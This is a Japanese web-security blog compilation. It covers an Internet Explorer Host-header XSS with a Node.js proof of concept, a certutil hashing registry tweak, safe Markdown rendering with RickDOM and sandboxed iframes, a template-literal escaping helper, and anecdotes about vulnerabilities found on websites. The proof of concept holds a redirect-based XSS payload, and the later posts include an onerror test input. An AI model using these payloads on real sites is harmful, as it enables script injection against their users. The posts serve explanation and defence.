Host:リクエストヘッダによるXSS

本日、とある会合にてTwitterで交わされていたこの会話が話題になりました。

HTML内にHostリクエストヘッダをエスケープせずに出力しているケースは実際のWebサイトでもまれに見かけるものの、それはBurpやFiddlerなどのProxyツールでHostリクエストヘッダを書き換えた場合に発見されるものであり、受動的攻撃すなわち罠ページを経由して利用者のブラウザから偽のHostヘッダを送信することはできないため、実際にXSSの脅威は存在しないというのが知る限りWebセキュリティ業界でも一般的な考え方でした。あるいはDNSバインディングを用いて罠サイトのドメインの一部として該当WebサーバのIPアドレスを返すことで偽のHostヘッダを与えることはできるものの、その場合にXSSが発生したとしてもそれは偽サイトのドメイン上でのXSSであり、やはり実際の脅威は考えにくいと思われていました。

ところが、Masato Kinugawaさんの示された情報によると、IEでは罠ページ上で302などでリダイレクトしつつLocationヘッダに%2Fなどを含めると、それらをデコードした値をHostヘッダとして送信するということで、これらを利用するとHostヘッダをHTML上にそのまま出力しているサイトではXSSが可能ということになります。

実際に、以下のようなnode.jsのコードで罠サイト(example.jp)および攻撃対象サイト(example.com)を動作させた場合、IEでexample.jpを訪問するとブラウザとしてはexample.comへ訪問するにも関わらず、Host:ヘッダには「example.com/?"onmouseover=alert(location.host)//」がセットされ、それがそのままエスケープされずに出力されているのでXSSが発生します。

"use strict";
var http = require('http');

(function(){
    http.createServer(function (req, res) {
        if( req.headers["host"] === "example.jp" ){
            // 攻撃者の用意した罠サイト example.jp
            res.writeHead( 302, { "Location" : "http://example.com%2f%3f%22onmouseover=alert(location.host)%2f%2f"} );
            res.end();
        }else{
            // 攻撃対象となるサイト example.com では Host ヘッダをエスケープせずに出力している
            res.writeHead( 200, { "Content-Type" : "text/html;charset=utf-8", "X-XSS-Protection" : "0" } );
            res.end( '<html><body><a href="' + req.headers["host"] + '">aa</a></html>' );
        }
    }).listen(80);
    console.log( "Running server on port 80" );
})();

なお、この例のように単純なXSSであればIEXSSフィルターが作動するためにJavaScriptの実行はブロックされますが、実際にはXSSフィルターをバイパスする手法も多くみつかっているため、XSSフィルターの存在を以て脅威を軽視するべきではありません。また、上記例では、挙動をわかりやすくするためにあえてXSSフィルターを無効にしています。

その他検証が足りていない部分

Windowsのエクスプローラーからさくっとファイルのハッシュ値を調べる

以下の内容を test.reg などのファイル名で保存し、regファイルをダブルクリックしてレジストリに結合する。

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\*\shell\MD5]
@="MD&5をコピー"

[HKEY_CLASSES_ROOT\*\shell\MD5\command]
@="cmd /c certutil -hashfile \"%1\" MD5|findstr -v \":\"|clip"

[HKEY_CLASSES_ROOT\*\shell\SHA1]
@="SHA&1をコピー"

[HKEY_CLASSES_ROOT\*\shell\SHA1\command]
@="cmd /c certutil -hashfile \"%1\" SHA1|findstr -v \":\"|clip"

これで、ファイルを右クリックしたときにコンテキストメニューに「MD5をコピー」「SHA1をコピー」の項目が出てくるので、それぞれクリックすると選択したファイルのMD5SHA1クリップボードにコピーされます。(certutilコマンドでは同じようにSHA256/SHA384/SHA512なども計算可能)

参考 : Windowsのcertutilコマンドでメッセージダイジェストを表示する方法 - Eiji James Yoshidaの記録

セキュリティ・キャンプ全国大会2015資料まとめ

セキュリティ・キャンプ全国大会2015の講義で使用された資料のまとめ。公開されていない講義が多いので、すべての講義資料があるわけではありません。随時追加。
高レイヤートラック

解析トラック

チューター発表

参加者発表

ブラウザ上でMarkdownを安全に展開する

不特定のユーザーが入力したMarkdownをブラウザ上でJavaScriptを使ってHTMLに変換するという場面においては、JavaScriptで変換してHTMLを生成するという処理の都合上どうしてもDOM-based XSSの発生を考えないわけにはいかない。かといって、MarkdownをパースしHTMLを生成するという処理すべてをXSSが存在しないように注意しながら自分で書くのも大変だし、markedmarkdown-jsなどの既存の変換用のJSを持ってきてもそれらがXSSしないかを確認するのは結構大変だったりする。

そういった場合には、Markdownから生成されたHTMLをRickDOMを通すことで、万が一HTML内にJavaScriptが含まれていたとしてもそれらを除外し、許可された要素、許可された属性だけで構築された安全なHTMLに再構築することができる。さらに、そうやって生成された安全なHTMLを sandbox属性付きのiframeの中に書き込むことで万が一RickDOMライブラリに脆弱性があったとしてもJavaScriptの実行を抑止することができる。

<iframe id="frame-main" sandbox="allow-same-origin allow-popups" ></iframe>
...
<script>
    var rickdom = new RickDOM();
    var unsafeHtml = markdown.toHTML( markdownText );                // 任意のライブラリを利用してmdをHTMLに変換する
    var elm = rickdom.build( "<div>" + unsafeHtml + "</div>" )[ 0 ]; // RickDOMにより安全なHTMLを再生成
    var html =  
        "<!doctype html><html><head>" +
        "<style>.....</style>" +
        "<body>" + elm.outerHTML + "</body></html>";
    document.getElementById( "frame-main" ).srcdoc = html;           // sandboxedなiframe内のコンテンツとして設定
</script>


sandbox属性にはallow-same-originフラグとallow-popupsフラグを指定している。allow-same-originフラグを指定することにより、iframeの外側からはiframe内のコンテンツを自由に操作することができる。これを指定しない場合は、iframe内外は強制的に異なるオリジン扱いとなってしまい、iframeの外側からiframe内のコンテンツを操作することができなくなってしまう。

<iframe id="frame-main" sandbox="allow-same-origin allow-popups" ></iframe>
...
<script>
    var elm = document.getElementById( "frame-main" ).contentDocument.querySelector( "h1" ); 
    if( elm ) elm.scrollIntoView( true );
</script>

また、allow-popupsフラグをつけていることにより、iframe内のリンク文字列に target="_blank" などを指定することでリンクをクリック時には新しいタブを開いてその内容を表示させることができる。

<iframe id="frame-main" sandbox="allow-same-origin allow-popups" ></iframe>
...
<script>
    // iframe内のhref属性を持つ<a>要素すべてにtarget=_blankを設定する
    Array.prototype.forEach.call(
        document.getElementById( "frame-main" ).contentDocument.querySelectorAll( "a[href]" ), 
        function( node ){
            node.setAttribute( "target", "_blank" );
        }
    );
</script>

このように、(1)RickDOMのような「一部のHTMLを許容しつつ安全にHTMLを組み立てる」ライブラリを使用する、(2)iframe sandboxを利用する、という2段階の保護を設けることにより、第三者の作成したMarkdownであっても安心して自身のサイト内にHTMLとして埋め込むことが可能になる。
実際に上記方法により任意のMarkdownを表示可能なサンプルを http://utf-8.jp/tool/md/?http%3A%2F%2Futf-8.jp%2Ftool%2Fmd%2Ftest.md に作成した。

参考 :

ECMAScript テンプレートリテラル

(自分用メモ) ES6のテンプレートリテラルを使うと、HTML生成におけるテンプレート的なものがJavaScriptでも書きやすくなる。

function safeHtml(){
    var t = arguments[ 0 ].raw;
    var result = t[ 0 ];
    for( var i = 1; i < arguments.length; i++ ){
        result += arguments[i]
            .replace( /&/g, "&amp;")
            .replace( /</g, "&lt;" )
            .replace( />/g, "&gt;" )
            .replace( /"/g, "&quot;" )
            .replace( /'/g, "&#x27;" )
            + t[i];
    }
    return result;
}

var userinput = "<img src=# onerror=alert(1)>";
var html=safeHtml`<div>\r\n←これはそのまま円記号+英数字で表示される<div>${userinput}</div></div>`;
var elm.innerHTML = html;

脆弱性"&'\ Advent Calendar 2014 (17日目)

この記事は脆弱性"&'<<>\ Advent Calendar 2014の17日目の記事です。今日は少し昔話をしようと思います。がはは。

かつて、日本製TwitterのようなWassrというサービスがありました。当時、Twitterは数日に一度くらいはサービスが落ちていて、Twitterユーザーも「またか」と思いながら我慢して使うようなサービスであり、Twitterが落ちるたびにWassrはユーザーを増やすとともに、画像の添付のように当時Twitterにはまだなかった機能をどんどんアグレッシブに取り入れていく、使っていて楽しいサービスでした。
さて、そんなWassrがある日絵文字機能を導入しました。当時はUnicode絵文字もなくスマートフォンも普及しておらず、主にレガシーな携帯電話で使える絵文字をなんとかWeb上でも使えるようにしたという感じのものでした。
絵文字をパレットから選択するとヒトコト(TwitterでいうTweet)を入力するテキストボックス内には {emoji:XXXX} のような形式の文字列が挿入され、それを投稿するとXXXXに該当する絵文字が表示されるという仕組みでした。

その機能が実装されてしばらくして、僕はどんな絵文字が使えるのか、すなわちパレット内に表示されているものが使える絵文字全てなのかどうなのかというのが気になり、とりあえず {emoji:0000}{emoji:0001}…というように片っ端から絵文字のコードを挿入して投稿してみたのでした。すると、応答されたHTMLの投稿したヒトコトが表示される部分以降が言葉どおり真っ白になっていて、</body>の閉じタグさえないという状態になってしまいました。ああ、なんだかよくわからないけど意図しない結果が返ってきた、これは面白い!そう思って僕は自分のユーザ名にも{emoji:xxxx}のような白くなる絵文字コードを設定し、ページをリロードしてみると、今度は自分のユーザー名が表示されるより以降のHTMLが途切れてページが真っ白になって返ってきました。
よしもう少し調べようとHTMLソースを見ながらページをリロードすると…今度はなんとログインページが表示されてしまったのです。あれ?ログインしているはずなのに、なにか操作ミスをしたかなと思いながら自分のIDとパスワードを入力しログインを試みると、なんと「そのユーザーは存在しません」というエラーメッセージが。
ここで僕は、もしかして自分のしたことが原因でアカウントが消えるような惨事を引き起こしたのか、あるいは運営からトラブルを作ったということでアカウント消されたのだろうかと思い至ったわけです。
Wassrのアカウントを消されたので焦ってTwitterに書き込んだ当時のTweetがこれ。

そして、それをみたkanさんのTweetがこれ。

その時点では詳しくは知らなかったのですが、後日聞いたところによると

  • 存在しない絵文字のコードが指定された場合、例外をトラップしていなかったために絵文字を展開するサービスが落ちてしまいその絵文字指定より後ろのHTMLが生成されなくなる
  • 私のユーザ名部分にそういった絵文字コードが含まれていたため私をフォローしている人全員にそういう現象が発生した
  • とにかく復旧のために焦って私の投稿したヒトコトを消したもののまだ現象がなおらない(ユーザ名にも含まれていたので)
  • そんなわけでとりあえず私のアカウントを消した

という状況だったようです。そして落ち着いたところでWassrアカウントは復旧されたのですが、復旧された時点ではよほど焦ったのか、ユーザ名が "hsegawa" になっていました。それはそれで気に入ったというのもあり、以降当分の間僕は反省の意味も込めてユーザー名に hsegawa を使ったりもしていたのですけど。
そして、さらにその後、Wassr開発の人と飲みに行くようになり、その席でやはりこの話が出たときには「あれは正直訴えてもいいかと思った。何しろ広告が表示されないという実害が出たので」ということを言われたのでした。

教訓:攻撃するつもりがなくても遊びすぎるとよくない。

脆弱性"&'\ Advent Calendar 2014 (16日目)

この記事は脆弱性"&'<<>\ Advent Calendar 2014の16日目の記事です。

Enjoy!

で終わらせようかと思ったんだけど、毎日Enjoyし過ぎじゃないのみたいに思われそうなのでここ数日のを少し解説。

//d.hatena.ne.jp/hasegawayosuke/20141212/p1">脆弱性"&'<<>\ Advent Calendar 2014 (12日目) :URLが示すとおりAppleのサイトで任意コンテンツを表示可能な脆弱性。見つけたときにはもともとAppleサイトの問題なのかなと思ったけれど、Oracleのサイトにも同じような問題があって、Oracleへ連絡したらJavadoc脆弱性ということでJavaの脆弱性修正にて対応された。
//d.hatena.ne.jp/hasegawayosuke/20141213/p1">脆弱性"&'<<>\ Advent Calendar 2014 (13日目) :特許庁。見たまま。フレーム内に任意コンテンツを挿入可能。
//d.hatena.ne.jp/hasegawayosuke/20141214/p1">脆弱性"&'<<>\ Advent Calendar 2014 (14日目) :オライリーのフィードバックコメントを書くページ。12日目、13日目はiframeやframeとして任意コンテンツが差し込めるだけだったけどオライリーのサイトはURLを見るとわかるように普通にXSS
//d.hatena.ne.jp/hasegawayosuke/20141215/p1">脆弱性"&'<<>\ Advent Calendar 2014 (15日目) :マイクロソフト。alert内を見るとわかるようにDOM based XSSなので2013年当時のChromeXSS Auditorでは止まらない(今だとたぶん止まる)。
//d.hatena.ne.jp/hasegawayosuke/20141216/p1">脆弱性"&'<<>\ Advent Calendar 2014 (16日目) :今日。マイクロソフト。DOM based XSSでIE10のXSSフィルターを通過。

他にもいろいろあるけど出すと怒られたり金融系のように不安をあおりそうなところも多いのでこれくらいで。明日はまじめなネタを書くかも。

Enjoy!